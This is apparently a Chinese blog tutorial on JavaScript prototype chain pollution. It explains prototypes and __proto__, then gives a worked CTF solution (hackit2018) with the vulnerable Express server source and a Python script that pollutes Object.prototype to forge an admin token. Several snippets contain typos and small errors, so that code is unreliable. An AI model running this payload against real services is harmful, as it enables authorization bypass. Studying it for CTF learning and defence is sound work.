原型链污染

1. 原型对象(继承)

上面代码中

cat1和cat2是Animal的实例对象, color是cat1和cat2的原型对象

原型对象可以让所有实例对象共享

2.原型链

原型对象也是对象,它也有自己的原型。这就形成了原型链

原型链的尽头是null  (Object.prototype === null)

Object.getPrototypeof(f)     //获取原型对象,返回f的原型对象

Object.setPrototypeof(a,b)   //设置原型对象,将b设为a的原型对象,b是原型对象

Object.creat()               //接受一个对象作为参数,以它为原型对象,返回一个实例对象 
 
例:
var A = {
    print:function(){}
}

var B = Object.create(A)
Object.getPrototypeof(B) === A     //true
B.print === A.print                //true

var C = Object.create(null)
Object.getPrototypelf(C) === null   //true

__proto__属性设置原型对象

var x = {}
var y = {}
x.__proto__ = y
Object.getPrototypeof(x) === y    //true

3. constructor属性

prototype对象有一个constructor属性,默认指向所在的构造函数

function  Demo(){
    
}

var x = new Demo()

x.constructor === Demo    //true

Demo.prototype.constructor === Demo    //true

var y = new x.constructor()

y instanceof Demo    //true

当原型对象修改后

Demo.prototype = {
    metho : function(){}
}

Demo.prototype.constructor === Demo    //false
Demo.prototype.constructor === Object  //true

Demo的新原型为普通对象,普通对象的constructor指向Object构造函数

所以修改原型时,一定要修改constructor属性指向

//较好方法
Demo.prototype = {
    constructor : Demo ,
    method1 : function(){}
}

//最好方法,不改变指向
Demo.prototype.method1 = function(){}

4.原型链三属性之间关系

1、一个对象的__proto__属性指向这个对象所在类的prototype属性

2、每一个类有一个prototype属性,指向其原型对象

3、原型对象的constructor属性指向其所在的构造函数

4、构造函数的constructor属性指向本身

function A(){
      //构造函数
}

var a = new A()
a.__ proto__ === A.prototype       //true
A.prototype.constructor === A      //true

var b = {}
b是一个Object
b.__proto__ === Object.prototype

5.原型链污染

如果攻击者控制并修改了一个对象的原型,那将可以影响所有和这个对象来自同一个类、父类的对象,这种攻击方式就是原型链污染。

(1)merge函数

function merge(target,source){
    for (let key in source){
        if(key in target && key in target){
            merge(target[key],source[key])
        }else{
            target[key] = source[key]
        }
    }
}

merge函数的目的是将source对象中的属性合并到target对象中。如果source对象和target对象具有

相同的键(属性名),那么merge函数将递归地将嵌套对象的属性合并。否则,如果source对象具

有target对象中不存在的键,merge函数将直接将该键值对添加到target对象中.

(2)通过修改__proto__属性污染原型链

var a ={}
var b= {"__proto__":{num:2}}      //不能通过这种方式修改a.__proto__

var c={}
consle.info(c.num)

此时Object类没有被修改,故而原型类为Object的c对象并没有num这个属性。

因为b中的__proto__已经被解析成原型了

所以必须用JSON.parse

var b= JSON.parse('{"__proto__":{num:2}}')

merge(a,b)

var c={}
c.num === 2      //true

原型链已经污染,声明一个空对象c后可以直接拿到num属性

6.实例

hackit2018

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
//目前user并没有admintoken
var user = []; //empty for now
 
var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}
 
function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}
 
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
 
app.get('/', (req, res) => {
 
    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];
 
    }
    res.render('index');
})
 
 
app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)
 
 
app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;
 
    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }
 
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 
 
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }
 
    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }
 
})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

解析:

if(user.admintoken && req.query.querytoken && md5(user.admintoken) ===req.query.querytoken)

获取到flag的条件是传入的querytoken和user.admintoken的md5值等,并且都要存在。

user没有admintoken这个属性,是一个空对象,但存在给另一个空对象matrix赋值的代码

matrix[client.row][client.col] = client.data;

他们的原型对象都是Objec,其中row,col,data都是post传入的,是可控的,所以可以用原型链污染攻击方式让user拿到admintoken

使   row=__proto__ ,  col = admintoken ,再让url传入querytoken的值等于data的md5值

import requests
import json
 
url = "http://192.168.174.123:3000/api"
url1 = "http://192.168.174.123:3000/admin?querytoken=de9b9ed78d7e2e1dceeffee780e2f919"
 
headers = {"Content-type": "application/json"}
 
data = {"row": "__proto__", "col": "admintoken", "data": "test"}
 
res1 = requests.post(url, headers=headers, data=json.dumps(data))
# json.dumps与json.parse是相同的 
res2 = requests.get(url1)
 
print(res2.text)

运行结果:

  • 27
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值